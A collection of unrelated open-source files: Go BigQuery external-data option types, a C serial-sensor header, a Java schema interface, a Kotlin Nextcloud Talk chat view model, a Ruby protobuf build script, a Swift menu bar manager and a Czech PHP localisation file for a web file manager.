// reading or exporting data. The default is ",".
FieldDelimiter string
// Quote is the value used to quote data sections in a CSV file. The
// default quotation character is the double quote ("), which is used if
// both Quote and ForceZeroQuote are unset.
// To specify that no character should be interpreted as a quotation
// character, set ForceZeroQuote to true.
// Only used when reading data.
Quote string
ForceZeroQuote bool
// The number of rows at the top of a CSV file that BigQuery will skip when
// reading data.
SkipLeadingRows int64
}
func (o *CSVOptions) populateExternalDataConfig(c *bq.ExternalDataConfiguration) {
c.CsvOptions = &bq.CsvOptions{
AllowJaggedRows: o.AllowJaggedRows,
AllowQuotedNewlines: o.AllowQuotedNewlines,
Encoding: string(o.Encoding),
FieldDelimiter: o.FieldDelimiter,
Quote: o.quote(),
SkipLeadingRows: o.SkipLeadingRows,
}
}
// quote returns the CSV quote character, or nil if unset.
func (o *CSVOptions) quote() *string {
if o.ForceZeroQuote {
quote := ""
return "e
}
if o.Quote == "" {
return nil
}
return &o.Quote
}
func (o *CSVOptions) setQuote(ps *string) {
if ps != nil {
o.Quote = *ps
if o.Quote == "" {
o.ForceZeroQuote = true
}
}
}
func bqToCSVOptions(q *bq.CsvOptions) *CSVOptions {
o := &CSVOptions{
AllowJaggedRows: q.AllowJaggedRows,
AllowQuotedNewlines: q.AllowQuotedNewlines,
Encoding: Encoding(q.Encoding),
FieldDelimiter: q.FieldDelimiter,
SkipLeadingRows: q.SkipLeadingRows,
}
o.setQuote(q.Quote)
return o
}
// GoogleSheetsOptions are additional options for GoogleSheets external data sources.
type GoogleSheetsOptions struct {
// The number of rows at the top of a sheet that BigQuery will skip when
// reading data.
SkipLeadingRows int64
// Optionally specifies a more specific range of cells to include.
// Typical format: sheet_name!top_left_cell_id:bottom_right_cell_id
//
// Example: sheet1!A1:B20
Range string
}
func (o *GoogleSheetsOptions) populateExternalDataConfig(c *bq.ExternalDataConfiguration) {
c.GoogleSheetsOptions = &bq.GoogleSheetsOptions{
SkipLeadingRows: o.SkipLeadingRows,
Range: o.Range,
}
}
func bqToGoogleSheetsOptions(q *bq.GoogleSheetsOptions) *GoogleSheetsOptions {
return &GoogleSheetsOptions{
SkipLeadingRows: q.SkipLeadingRows,
Range: q.Range,
}
}
// BigtableOptions are additional options for Bigtable external data sources.
type BigtableOptions struct {
// A list of column families to expose in the table schema along with their
// types. If omitted, all column families are present in the table schema and
// their values are read as BYTES.
ColumnFamilies []*BigtableColumnFamily
// If true, then the column families that are not specified in columnFamilies
// list are not exposed in the table schema. Otherwise, they are read with BYTES
// type values. The default is false.
IgnoreUnspecifiedColumnFamilies bool
// If true, then the rowkey column families will be read and converted to string.
// Otherwise they are read with BYTES type values and users need to manually cast
// them with CAST if necessary. The default is false.
ReadRowkeyAsString bool
}
func (o *BigtableOptions) populateExternalDataConfig(c *bq.ExternalDataConfiguration) {
q := &bq.BigtableOptions{
IgnoreUnspecifiedColumnFamilies: o.IgnoreUnspecifiedColumnFamilies,
ReadRowkeyAsString: o.ReadRowkeyAsString,
}
for _, f := range o.ColumnFamilies {
q.ColumnFamilies = append(q.ColumnFamilies, f.toBQ())
}
c.BigtableOptions = q
}
func bqToBigtableOptions(q *bq.BigtableOptions) (*BigtableOptions, error) {
b := &BigtableOptions{
IgnoreUnspecifiedColumnFamilies: q.IgnoreUnspecifiedColumnFamilies,
ReadRowkeyAsString: q.ReadRowkeyAsString,
}
for _, f := range q.ColumnFamilies {
f2, err := bqToBigtableColumnFamily(f)
if err != nil {
return nil, err
}
b.ColumnFamilies = append(b.ColumnFamilies, f2)
}
return b, nil
}
// BigtableColumnFamily describes how BigQuery should access a Bigtable column family.
type BigtableColumnFamily struct {
// Identifier of the column family.
FamilyID string
// Lists of columns that should be exposed as individual fields as opposed to a
// list of (column name, value) pairs. All columns whose qualifier matches a
// qualifier in this list can be accessed as .. Other columns can be accessed as
// a list through .Column field.
Columns []*BigtableColumn
// The encoding of the values when the type is not STRING. Acceptable encoding values are:
// - TEXT - indicates values are alphanumeric text strings.
// - BINARY - indicates values are encoded using HBase Bytes.toBytes family of functions.
// This can be overridden for a specific column by listing that column in 'columns' and
// specifying an encoding for it.
Encoding string
// If true, only the latest version of values are exposed for all columns in this
// column family. This can be overridden for a specific column by listing that
// column in 'columns' and specifying a different setting for that column.
OnlyReadLatest bool
// The type to convert the value in cells of this
// column family. The values are expected to be encoded using HBase
// Bytes.toBytes function when using the BINARY encoding value.
// Following BigQuery types are allowed (case-sensitive):
// BYTES STRING INTEGER FLOAT BOOLEAN.
// The default type is BYTES. This can be overridden for a specific column by
// listing that column in 'columns' and specifying a type for it.
Type string
}
func (b *BigtableColumnFamily) toBQ() *bq.BigtableColumnFamily {
q := &bq.BigtableColumnFamily{
FamilyId: b.FamilyID,
Encoding: b.Encoding,
OnlyReadLatest: b.OnlyReadLatest,
Type: b.Type,
}
for _, col := range b.Columns {
q.Columns = append(q.Columns, col.toBQ())
}
return q
}
func bqToBigtableColumnFamily(q *bq.BigtableColumnFamily) (*BigtableColumnFamily, error) {
b := &BigtableColumnFamily{
FamilyID: q.FamilyId,
Encoding: q.Encoding,
OnlyReadLatest: q.OnlyReadLatest,
Type: q.Type,
}
for _, col := range q.Columns {
c, err := bqToBigtableColumn(col)
if err != nil {
return nil, err
}
b.Columns = append(b.Columns, c)
}
return b, nil
}
// BigtableColumn describes how BigQuery should access a Bigtable column.
type BigtableColumn struct {
// Qualifier of the column. Columns in the parent column family that have this
// exact qualifier are exposed as . field. The column field name is the
// same as the column qualifier.
Qualifier string
// If the qualifier is not a valid BigQuery field identifier i.e. does not match
// [a-zA-Z][a-zA-Z0-9_]*, a valid identifier must be provided as the column field
// name and is used as field name in queries.
FieldName string
// If true, only the latest version of values are exposed for this column.
// See BigtableColumnFamily.OnlyReadLatest.
OnlyReadLatest bool
// The encoding of the values when the type is not STRING.
// See BigtableColumnFamily.Encoding
Encoding string
// The type to convert the value in cells of this column.
// See BigtableColumnFamily.Type
Type string
}
func (b *BigtableColumn) toBQ() *bq.BigtableColumn {
q := &bq.BigtableColumn{
FieldName: b.FieldName,
OnlyReadLatest: b.OnlyReadLatest,
Encoding: b.Encoding,
Type: b.Type,
}
if utf8.ValidString(b.Qualifier) {
q.QualifierString = b.Qualifier
} else {
q.QualifierEncoded = base64.RawStdEncoding.EncodeToString([]byte(b.Qualifier))
}
return q
}
func bqToBigtableColumn(q *bq.BigtableColumn) (*BigtableColumn, error) {
b := &BigtableColumn{
FieldName: q.FieldName,
OnlyReadLatest: q.OnlyReadLatest,
Encoding: q.Encoding,
Type: q.Type,
}
if q.QualifierString != "" {
b.Qualifier = q.QualifierString
} else {
bytes, err := base64.RawStdEncoding.DecodeString(q.QualifierEncoded)
if err != nil {
return nil, err
}
b.Qualifier = string(bytes)
}
return b, nil
}
|
{
"pile_set_name": "Github"
}
|
/**
* @file serial_sensor.h
*
*
* @date Mar 19, 2020
* @author Konstantin Smola, (c) 2020
*/
#pragma once
#define AFRMIN 0
#define AFRMAX 33
#define AFR_ERROR 30
void IdentifyInnovateSerialMsg();
void ParseInnovateSerialMsg();
void ParseSerialData();
void ResetSerialSensor();
void ClearSerialBuffer();
|
{
"pile_set_name": "Github"
}
|
package pro.dbro.ble.data.model;
import net.simonvt.schematic.annotation.AutoIncrement;
import net.simonvt.schematic.annotation.DataType;
import net.simonvt.schematic.annotation.NotNull;
import net.simonvt.schematic.annotation.PrimaryKey;
import static net.simonvt.schematic.annotation.DataType.Type.INTEGER;
/**
* Used to avoid sending a single identity to a particular client multiple times
*
* Created by davidbrodsky on 7/28/14.
*/
public interface IdentityDeliveryTable {
/** SQL type Modifiers Reference Name SQL Column Name */
@DataType(INTEGER) @PrimaryKey @AutoIncrement String id = "_id";
@DataType(INTEGER) @NotNull String peerRecipientId = "pr_id";
@DataType(INTEGER) @NotNull String peerPayloadId = "pp_id";
}
|
{
"pile_set_name": "Github"
}
|
/*
*
* * Nextcloud Talk application
* *
* * @author Mario Danic
* * Copyright (C) 2017-2020 Mario Danic <mario@lovelyhq.com>
* *
* * This program is free software: you can redistribute it and/or modify
* * it under the terms of the GNU General Public License as published by
* * the Free Software Foundation, either version 3 of the License, or
* * at your option) any later version.
* *
* * This program is distributed in the hope that it will be useful,
* * but WITHOUT ANY WARRANTY; without even the implied warranty of
* * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* * GNU General Public License for more details.
* *
* * You should have received a copy of the GNU General Public License
* * along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*/
package com.nextcloud.talk.newarch.features.chat
import android.app.Application
import android.text.Editable
import androidx.lifecycle.MutableLiveData
import androidx.lifecycle.Transformations
import androidx.lifecycle.map
import androidx.lifecycle.viewModelScope
import com.bluelinelabs.conductor.Controller
import com.nextcloud.talk.models.json.chat.ChatMessage
import com.nextcloud.talk.models.json.chat.ChatOverall
import com.nextcloud.talk.models.json.conversations.Conversation
import com.nextcloud.talk.newarch.data.model.ErrorModel
import com.nextcloud.talk.newarch.data.source.remote.ApiErrorHandler
import com.nextcloud.talk.newarch.domain.repository.offline.ConversationsRepository
import com.nextcloud.talk.newarch.domain.repository.offline.MessagesRepository
import com.nextcloud.talk.newarch.domain.usecases.GetChatMessagesUseCase
import com.nextcloud.talk.newarch.domain.usecases.SendChatMessageUseCase
import com.nextcloud.talk.newarch.domain.usecases.base.UseCaseResponse
import com.nextcloud.talk.newarch.local.models.*
import com.nextcloud.talk.newarch.local.models.other.ChatMessageStatus
import com.nextcloud.talk.newarch.mvvm.BaseViewModel
import com.nextcloud.talk.newarch.services.GlobalService
import com.nextcloud.talk.newarch.services.GlobalServiceInterface
import com.nextcloud.talk.newarch.utils.NetworkComponents
import com.nextcloud.talk.newarch.utils.hashWithAlgorithm
import com.nextcloud.talk.utils.text.Spans
import kotlinx.coroutines.launch
import org.koin.core.parameter.parametersOf
import retrofit2.Response
import kotlin.collections.HashMap
import kotlin.collections.hashMapOf
import kotlin.collections.indices
import kotlin.collections.listOf
import kotlin.collections.map
import kotlin.collections.mutableListOf
import kotlin.collections.set
class ChatViewModel constructor(application: Application,
private val networkComponents: NetworkComponents,
private val apiErrorHandler: ApiErrorHandler,
private val conversationsRepository: ConversationsRepository,
private val messagesRepository: MessagesRepository,
private val globalService: GlobalService) : BaseViewModel<ChatView>(application), GlobalServiceInterface {
lateinit var user: User
val conversation: MutableLiveData<Conversation?> = MutableLiveData<Conversation?>()
var pastStartingPoint: Long = -1
val futureStartingPoint: MutableLiveData<Long> = MutableLiveData()
private var initConversation: Conversation? = null
val messagesLiveData = Transformations.switchMap(conversation) { conversation ->
conversation?.let {
messagesRepository.getMessagesWithUserForConversation(it.databaseId!!).map { chatMessagesList ->
chatMessagesList.map { chatMessage ->
chatMessage.activeUser = user.toUserEntity()
chatMessage.parentMessage?.activeUser = chatMessage.activeUser
if (chatMessage.systemMessageType != null && chatMessage.systemMessageType != ChatMessage.SystemMessageType.DUMMY) {
ChatElement(chatMessage, ChatElementTypes.SYSTEM_MESSAGE)
} else {
ChatElement(chatMessage, ChatElementTypes.CHAT_MESSAGE)
}
}
}
}
}
var conversationPassword: String? = null
var view: Controller? = null
fun sendMessage(editable: Editable, replyTo: Long?) {
val messageParameters = hashMapOf<String, HashMap<String, String>>()
val mentionSpans = editable.getSpans(
0, editable.length,
Spans.MentionChipSpan::class.java
)
var mentionSpan: Spans.MentionChipSpan
val ids = mutableListOf<String>()
for (i in mentionSpans.indices) {
mentionSpan = mentionSpans[i]
var mentionId = mentionSpan.id
if (mentionId.contains(" ") || mentionId.startsWith("guest/")) {
mentionId = "\"" + mentionId + "\""
}
val mentionNo = if (ids.contains("mentionId")) ids.indexOf("mentionId") + 1 else ids.size + 1
val mentionReplace = "mention-${mentionSpan.type}$mentionNo"
if (!ids.contains(mentionId)) {
ids.add(mentionId)
messageParameters[mentionReplace] = hashMapOf("type" to mentionSpan.type, "id" to mentionId.toString(), "name" to mentionSpan.label.toString())
}
val start = editable.getSpanStart(mentionSpan)
editable.replace(start, editable.getSpanEnd(mentionSpan), "")
editable.insert(start, "{$mentionReplace}")
}
if (user.hasSpreedFeatureCapability("chat-reference-id")) {
ioScope.launch {
val chatMessage = ChatMessage()
val timestamp = System.currentTimeMillis()
val sha1 = timestamp.toString().hashWithAlgorithm("SHA-1")
conversation.value?.databaseId?.let { conversationDatabaseId ->
chatMessage.internalMessageId = sha1
chatMessage.internalConversationId = conversationDatabaseId
chatMessage.timestamp = timestamp / 1000
chatMessage.referenceId = sha1
chatMessage.replyable = false
// can also be "guests", but not now
chatMessage.actorId = user.userId
chatMessage.actorType = "users"
chatMessage.actorDisplayName = user.displayName
chatMessage.message = editable.toString()
chatMessage.systemMessageType = null
chatMessage.chatMessageStatus = ChatMessageStatus.PENDING
if (replyTo != null) {
chatMessage.parentMessage = messagesRepository.getMessageForConversation(conversationDatabaseId, replyTo)
} else {
chatMessage.parentMessage = null
}
chatMessage.messageParameters = messageParameters
messagesRepository.saveMessagesForConversation(user, listOf(chatMessage), true)
}
}
} else {
val sendChatMessageUseCase = SendChatMessageUseCase(networkComponents.getRepository(false, user), ApiErrorHandler())
// No reference id needed here
initConversation?.let {
sendChatMessageUseCase.invoke(viewModelScope, parametersOf(user, it.token, editable, replyTo, null), object : UseCaseResponse<Response<ChatOverall>> {
override suspend fun onSuccess(result: Response<ChatOverall>) {
// also do nothing, we did it - time to celebrate1
}
override suspend fun onError(errorModel: ErrorModel?) {
// Do nothing, error - tough luck
}
})
}
}
}
fun joinConversation(user: User, conversationToken: String, conversationPassword: String?) {
viewModelScope.launch {
this@ChatViewModel.user = user
this@ChatViewModel.initConversation = conversationsRepository.getConversationForUserWithToken(user.id!!, conversationToken)
this@ChatViewModel.conversationPassword = conversationPassword
globalService.getConversation(conversationToken, this@ChatViewModel)
}
}
fun leaveConversation() {
conversation.value?.let {
viewModelScope.launch {
globalService.exitConversation(it.token!!, this@ChatViewModel)
}
}
}
override suspend fun gotConversationInfoForUser(userNgEntity: UserNgEntity, conversation: Conversation?, operationStatus: GlobalServiceInterface.OperationStatus) {
if (operationStatus == GlobalServiceInterface.OperationStatus.STATUS_OK) {
if (userNgEntity.id == user.id && conversation!!.token == initConversation?.token) {
this.conversation.postValue(conversationsRepository.getConversationForUserWithToken(user.id!!, conversation.token!!))
conversation.token?.let { conversationToken ->
globalService.joinConversation(conversationToken, conversationPassword, this)
}
}
}
}
override suspend fun joinedConversationForUser(userNgEntity: UserNgEntity, conversation: Conversation?, operationStatus: GlobalServiceInterface.OperationStatus) {
if (operationStatus == GlobalServiceInterface.OperationStatus.STATUS_OK) {
if (userNgEntity.id == user.id && conversation!!.token == initConversation?.token) {
pullPastMessagesForUserAndConversation(userNgEntity, conversation)
}
}
}
override suspend fun leftConversationForUser(user: User, conversation: Conversation?, operationStatus: GlobalServiceInterface.OperationStatus) {
// We left the conversation
}
private suspend fun pullPastMessagesForUserAndConversation(userNgEntity: UserNgEntity, conversation: Conversation) {
if (userNgEntity.id == user.id && conversation.token == initConversation?.token && view != null) {
val getChatMessagesUseCase = GetChatMessagesUseCase(networkComponents.getRepository(true, userNgEntity.toUser()), ApiErrorHandler())
val lastReadMessageId = conversation.lastReadMessageId
getChatMessagesUseCase.invoke(viewModelScope, parametersOf(user, conversation.token, 0, lastReadMessageId, 1), object : UseCaseResponse<Response<ChatOverall>> {
override suspend fun onSuccess(result: Response<ChatOverall>) {
val messages = result.body()?.ocs?.data
messages?.let {
for (message in it) {
message.internalConversationId = conversation.databaseId
}
messagesRepository.saveMessagesForConversation(user, it, false)
}
val xChatLastGivenHeader: String? = result.headers().get("X-Chat-Last-Given")
if (xChatLastGivenHeader != null) {
pastStartingPoint = xChatLastGivenHeader.toLong()
}
futureStartingPoint.postValue(pastStartingPoint)
pullFutureMessagesForUserAndConversation(userNgEntity, conversation, pastStartingPoint.toInt())
}
override suspend fun onError(errorModel: ErrorModel?) {
// What to do here
}
})
}
}
suspend fun pullFutureMessagesForUserAndConversation(userNgEntity: UserNgEntity, conversation: Conversation, lastGivenMessage: Int = 0) {
if (userNgEntity.id == user.id && conversation.token == initConversation?.token && view != null) {
val getChatMessagesUseCase = GetChatMessagesUseCase(networkComponents.getRepository(true, userNgEntity.toUser()), ApiErrorHandler())
var lastKnownMessageId = lastGivenMessage
if (lastGivenMessage == 0) {
lastKnownMessageId = conversation.lastReadMessageId.toInt()
}
getChatMessagesUseCase.invoke(viewModelScope, parametersOf(user, conversation.token, 1, lastKnownMessageId, 0), object : UseCaseResponse<Response<ChatOverall>> {
override suspend fun onSuccess(result: Response<ChatOverall>) {
val messages = result.body()?.ocs?.data
messages?.let {
for (message in it) {
message.internalConversationId = conversation.databaseId
}
messagesRepository.saveMessagesForConversation(user, it, false)
}
val xChatLastGivenHeader: String? = result.headers().get("X-Chat-Last-Given")
if (xChatLastGivenHeader != null) {
pullFutureMessagesForUserAndConversation(userNgEntity, conversation, xChatLastGivenHeader.toInt())
}
}
override suspend fun onError(errorModel: ErrorModel?) {
}
})
}
}
}
|
{
"pile_set_name": "Github"
}
|
#!/usr/bin/env ruby
Dir.chdir(File.expand_path(File.join(File.dirname(__FILE__), '..')))
def verbose command
puts "--> #{command}"
system(command) || fail("Failed: #{command}")
end
['SignalingProtocol', 'ScreenSignalingProtocol'].each do |protocol|
dir = protocol.downcase
verbose "rm -rf src/#{dir}"
verbose "mkdir -p src/#{dir}"
# workaround for https://github.com/hegemonic/requizzle/issues/5
verbose "brew install node@10"
node = "#{`brew --prefix node@10`.strip}/bin/node"
# workaround for https://github.com/protobufjs/protobuf.js/issues/1217
verbose "#{node} node_modules/.bin/pbjs -t static-module -w commonjs -o src/#{dir}/#{protocol}.js ./protocol/#{protocol}.proto"
File.write('node_modules/protobufjs/package.json', File.read('node_modules/protobufjs/package.json').gsub('"jsdoc": "^3.5.5",', '"jsdoc": "~3.5.5",'))
verbose "#{node} node_modules/.bin/pbjs -t static-module -w commonjs -o src/#{dir}/#{protocol}.js ./protocol/#{protocol}.proto"
verbose "#{node} node_modules/.bin/pbts -o src/#{dir}/#{protocol}.d.ts src/#{dir}/#{protocol}.js"
# workaround for the Long type import issue. Remove when https://github.com/protobufjs/protobuf.js/pull/1166/files is released.
File.write("src/#{dir}/#{protocol}.d.ts", "import * as Long from \"long\";\n" + File.read("src/#{dir}/#{protocol}.d.ts"))
end
|
{
"pile_set_name": "Github"
}
|
// Copyright (C) 2020 D0miH <https://github.com/D0miH> & Contributors <https://github.com/iglance/iGlance/graphs/contributors>
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
import Foundation
class MenuBarItemManager {
/// The cpu temperature menu bar item
let cpuTemp = CpuTempMenuBarItem()
/// The cpu usage menu bar item
let cpuUsage = CpuUsageMenuBarItem()
// The memory usage menu bar item
let memoryUsage = MemoryUsageMenuBarItem()
// The fan menu bar item
let fan = FanMenuBarItem()
/// The network menu bar item
let network = NetworkMenuBarItem()
/// The battery menu bar item
let battery = BatteryMenuBarItem()
/// The disk usage menu bar item
let diskUsage = DiskUsageMenuBarItem()
/// An array containing all the visible AND not visible menu bar items
var menuBarItems: [MenuBarItem] = []
init() {
menuBarItems.append(cpuTemp)
menuBarItems.append(cpuUsage)
menuBarItems.append(memoryUsage)
menuBarItems.append(fan)
menuBarItems.append(network)
menuBarItems.append(battery)
menuBarItems.append(diskUsage)
}
/**
* Updates all menu bar items.
*/
func updateMenuBarItems() {
// iterate all menu bar items and call the update function for the visible ones
for item in menuBarItems {
item.update()
}
}
}
|
{
"pile_set_name": "Github"
}
|
<?php
return array(
"path_api_select_file" => "Prosím, vyberte soubor ...",
"path_api_select_folder" => "Prosím vyberte složku ...",
"path_api_select_image" => "Prosím, vyberte obrázek ...",
"share_can_upload" => "povolit nahrávání",
"move_error" => "přesunout se nezdařilo",
"setting_basic" => "Základní nastavení",
"setting_user_sound_open" => "open Sound",
"setting_user_animate_open" => "otevřená Animace",
"recycle_open_if" => "Otevřete Koš",
"recycle_open" => "otevřeno",
"qrcode" => "URL QR code",
"theme_mac" => "Mac minimalistické bílé",
"theme_win7" => "Windows 7",
"theme_win10" => "Windows 10",
"theme_metro" => "Metro Modrá Classic",
"theme_metro_green" => "Metro světle zelená",
"theme_metro_purple" => "Metro elegantní fialová",
"theme_metro_pink" => "Metro Rose",
"theme_metro_orange" => "Metro jasně oranžová",
"theme_alpha_image" => "Bright - létání",
"theme_alpha_image_sun" => "Bright - Sunset",
"theme_alpha_image_sky" => "Symphony - Blue Sky",
"theme_diy" => "<b>Custom</b>",
"theme_diy_title" => "Nastavení vlastní motiv",
"theme_diy_background" => "pozadí",
"theme_diy_image" => "obrázek",
"theme_diy_color_blur" => "Gradient barva",
"theme_diy_image_blur" => "obrázek rozostření",
"theme_diy_image_url" => "fotografie adresa",
"theme_diy_color_start" => "Spuštění barva",
"theme_diy_color_end" => "konec Color",
"theme_diy_color_radius" => "Gradient úhel",
"system_role_admin_set" => "Administrátoři mají všechna práva, bez nastavení!",
"login_error_user_not_use" => "Uživatel byl zakázán! Prosím, obraťte se na správce",
"login_error_kod_version" => "konflikt verze",
"login_error_role" => "Zobrazení oprávnění skupina neexistuje, obraťte se na správce",
"no_permission_group" => "Nejste v této skupině!",
"no_permission_write" => "Adresář nemá oprávnění k zápisu",
"user" => "uživatel",
"save_as" => "uložit jako",
"check_update" => "aktualizovat",
"keyboard_type" => "Režim klávesnice",
"font_family" => "Fonty",
"code_mode" => "zvýrazňování syntaxe",
"path_can_not_action" => "Adresář nepodporuje tuto operaci!",
"wap_page_pc" => "PC verze",
"wap_page_phone" => "mobilní",
"image_size" => "rozměry obrázku",
"no_permission_action" => "Nemáte toto oprávnění, obraťte se na správce!",
"path_is_root_tips" => "To má přijít do kořenového adresáře!",
"kod_group" => "organizace",
"my_kod_group" => "Skupina, kde jsem",
"space_tips_default" => "(GB) 0 žádný limit",
"space_tips_full" => "bez omezení",
"space_size" => "prostor",
"space_size_use" => "Využití prostoru",
"space_is_full" => "Prostor je plná, obraťte se na správce!",
"system_open_true_path" => "Úspěšně otevřen ve správci souborů!",
"group_role_error" => "Chyba oprávnění role (bez nastavení oprávnění)",
"group_role_error_admin" => "nedostatečná oprávnění",
"markdown_content" => "Obsah",
"system_group" => "Uživatelé a skupiny",
"system_group_edit" => "management Group",
"system_group_role" => "identita Role",
"system_group_create" => "Vytvořit skupinu",
"system_group_name" => "Název skupiny",
"system_group_father" => "Horní skupina",
"system_group_add" => "Přidání sub-paket",
"system_group_remove" => "Smazání skupiny uživatelů",
"system_group_remove_tips" => "Opravdu si přejete smazat skupinu uživatelů?<br/>Po odebrání uživatele patřícího do skupiny budou odstraněny, podskupina přesun do kořenového adresáře",
"system_group_select" => "Vyberte oddělení",
"system_group_select_result" => "Členové patří do těchto sektorů",
"system_member_action" => "Správa uživatelů",
"system_member_add" => "nový uživatel",
"system_member_role" => "oprávnění role",
"system_member_role_select" => "vybrat",
"system_member_password_tips" => "Nevyplňujte neupravila",
"system_set_home_path" => "Custom Catalog",
"system_set_home_path_tips" => "Výchozí adresář je prázdný",
"system_member_group" => "Hotel Group",
"system_member_group_edit" => "Upravit skupinu",
"system_member_remove" => "smazat uživatele",
"system_member_remove_tips" => "Potvrdit smazání uživatele?<br/>Po odebrání adresář uživatele bude zcela vymazán",
"system_member_set_role" => "Pro potvrzení změny vybraných oprávnění skupin uživatelů?",
"system_member_remove_group" => "Určete vybraný uživatel bude odstraněna z této skupiny?",
"system_member_import" => "Bulk add",
"system_member_import_desc" => "Jeden uživatel na řádek,<br/>již existují jsou ignorovány",
"system_member_use" => "umožnit",
"system_member_unuse" => "zakázat",
"system_member_group_config" => "Batch nastavit skupiny",
"system_member_group_remove" => "Vyjměte z paketu",
"system_member_group_insert" => "Přidán do paketu",
"system_member_group_reset" => "Reset paket",
"system_member_group_error" => "User Group Error",
"system_group_action" => "management Group",
"system_role_add" => "Přidat Identity role",
"system_role_read" => "Read-only",
"system_role_write" => "Umí číst a psát",
"button_save_and_add" => "Uložit a pokračovat v přidávání",
"path_cannot_search" => "Adresář nepodporuje vyhledávání!",
"not_support" => "Není podporováno!",
"group_not_exist" => "Uživatel skupina neexistuje!",
"upload_clear" => "zřejmý",
"upload_setting" => "založit",
"upload_tips" => "Používá plátek nahrávat, již nepodléhá php.ini hranici; doporučeno chrom složky drag and drop nahrávání zkušenosti",
"upload_exist" => "Soubor se stejným názvem",
"upload_exist_rename" => "přejmenovat",
"upload_exist_replace" => "víko",
"upload_exist_skip" => "přeskočit",
"upload_add_more" => "Bulk add",
"more" => "více",
"system_setting" => "Nastavení systému",
"openProject" => "Otevřete editor projektu",
"url_download" => "Ke stažení",
"url_link" => "URL",
"app_type_link" => "zkratky",
"createLink" => "Vytvořit zástupce",
"createLinkHome" => "Zaslána zástupce na ploše",
"createProject" => "Přidání do editoru projektu",
"only_read" => "Read-only",
"only_read_desc" => "Adresář nemá oprávnění k zápisu<br/>můžete nastavit oprávnění pro tento adresář na serveru",
"not_read" => "nečitelný",
"explorerNew" => "kod odkaz",
"zip_download_ready" => "Po stlačení automaticky stáhne, čekejte prosím ...",
"set_background" => "Nastavit jako pozadí pracovní plochy",
"share" => "podíl",
"my_share" => "jsem sdílel",
"group_share" => "Skupiny sdílený adresář",
"share_edit" => "Edit Share",
"share_remove" => "rušení sdílení",
"share_remove_tips" => "OK Zrušit sdílet? Otevřené spojení se nezdaří.",
"share_path" => "Společná cesta",
"share_title" => "Sdílení zdrojů",
"share_name" => "podíl Název",
"share_time" => "vypršení",
"share_time_desc" => "Null není nastaven",
"share_password" => "extrakt heslo",
"share_password_desc" => "Prázdné heslo není nastaveno",
"share_cancle" => "rušení sdílení",
"share_create" => "Vytvořit veřejný odkaz",
"share_url" => "sdílená adresa",
"share_not_download" => "Ke stažení ban",
"share_not_download_tips" => "Sharer zakázán stažení!",
"share_code_read" => "čtečka",
"share_save" => "Uložit konfiguraci",
"share_error_param" => "Parametr error!",
"share_error_user" => "Informace o uživateli Chyba!",
"share_error_sid" => "Podíl neexistuje!",
"share_error_time" => "Přijdete pozdě, podíl vypršel!",
"share_error_path" => "Sdílený soubor neexistuje, je odstraněny nebo odebrány to!",
"share_error_password" => "Chybné heslo!",
"share_error_show_tips" => "Tento typ nepodporuje souboru náhled!",
"share_view_num" => "Zobrazení:",
"share_download_num" => "Ke stažení:",
"share_open_page" => "Otevřete sdílenou stránku",
"open_the_path" => "Vstup do adresáře",
"recycle_clear" => "prázdný koš",
"recycle_clear_success" => "Prázdný koš úspěch!",
"recycle_clear_info" => "Jste si jisti, že chcete kompletně vyprázdnit koš?",
"fav_remove" => "Neoblíbená",
"remove_item" => "předměty",
"uploading" => "Nahrávání",
"upload_tips_more" => "Příliš mnoho souborů, doporučení stlačeného nahrávání, pak rozbalit online!",
"show_file" => "Nová stránka náhled",
"unknow_file_title" => "Soubor otevřít Tip!",
"unknow_file_tips" => "Nepodporuje Otevřít",
"unknow_file_download" => "Ke stažení",
"unknow_file_office" => "office náhled, kodexplorer potřeba být vysláni mimo síť<br/><br/><a href=\"http://kalcaddle.com/office.html\" target=\"_blank\">podrobnosti></a>",
"config_save_error_auth" => "Nepodařilo se uložit konfiguraci, administrátor zakázal tuto výsadu!",
"config_save_error_file" => "Chyba, soubor není zapisovatelný!",
"beautify_code" => "Code Formatter",
"shortcut" => "zkratky",
"use_free" => "Nadále používat bezplatnou verzi",
"learn_more" => "Více informací",
"replace" => "vyměnit",
"selectAll" => "vybrat",
"reload" => "Obnovit",
"about" => "na",
"complete_current" => "Automatické dokončování proudu",
"view" => "pohled",
"tools" => "nářadí",
"help" => "Pomoc",
"not_exists" => "Neexistuje",
"group_role_fileDownload" => "Ke stažení",
"group_role_share" => "podíl",
"system_setting_menu" => "správa nemovitostí Menu",
"system_name" => "Název programu",
"system_name_desc" => "název programu logo",
"system_desc" => "Popis programu",
"path_hidden" => "vyloučení Directory",
"version_not_support" => "Vaše verze nepodporuje, naleznete na oficiálních stránkách ke koupi pokročilou verzi!",
"version_not_support_number" => "Vzhledem k tomu, počet omezení nepodporuje tuto operaci, je nutné zakoupit pokročilou verzi oficiálních internetových stránkách!",
"path_hidden_desc" => "Adresáře a soubory ve výchozím nastavení nejsou zobrazeny, oddělený čárkami",
"new_user_folder" => "Nový uživatel je vytvořen ve výchozím adresáři",
"new_user_folder_desc" => "Oddělené čárkami",
"new_user_app" => "Nový uživatel je vytvořen ve výchozím nastavení aplikací",
"new_user_app_desc" => "Aplikace Application Center, několik oddělených čárkami",
"auto_login" => "Návštěvníci automatické přihlašování",
"auto_login_desc" => "Výchozí přihlašovací uživatelské<code>guest/guest</code>uživatelé, po otevření, aby bylo zajištěno, že uživatel existuje",
"first_in" => "Po přihlášení do výchozí",
"version_vip_free" => "Free",
"version_vip_1" => "VIP 1",
"version_vip_2" => "VIP 2",
"version_vip_3" => "VIP 3",
"path_can_not_write_data" => "Adresář není zapisovatelný, nastavit adresář a všechny podadresáře zkusit znovu po čtení psát!",
"menu_name" => "název nabídky",
"menu_hidden" => "skrýt",
"menu_show" => "zobrazit",
"menu_move_down" => "dolů",
"menu_move_up" => "nahoru",
"menu_move_del" => "vymazat",
"menu_open_window" => "Otevření nového okna",
"url_path" => "url adresa",
"url_path_desc" => "url adresa nebo js kód",
"no_permission_read" => "Nemáte oprávnění ke čtení!",
"no_permission_download" => "Nemáte oprávnění ke stažení!",
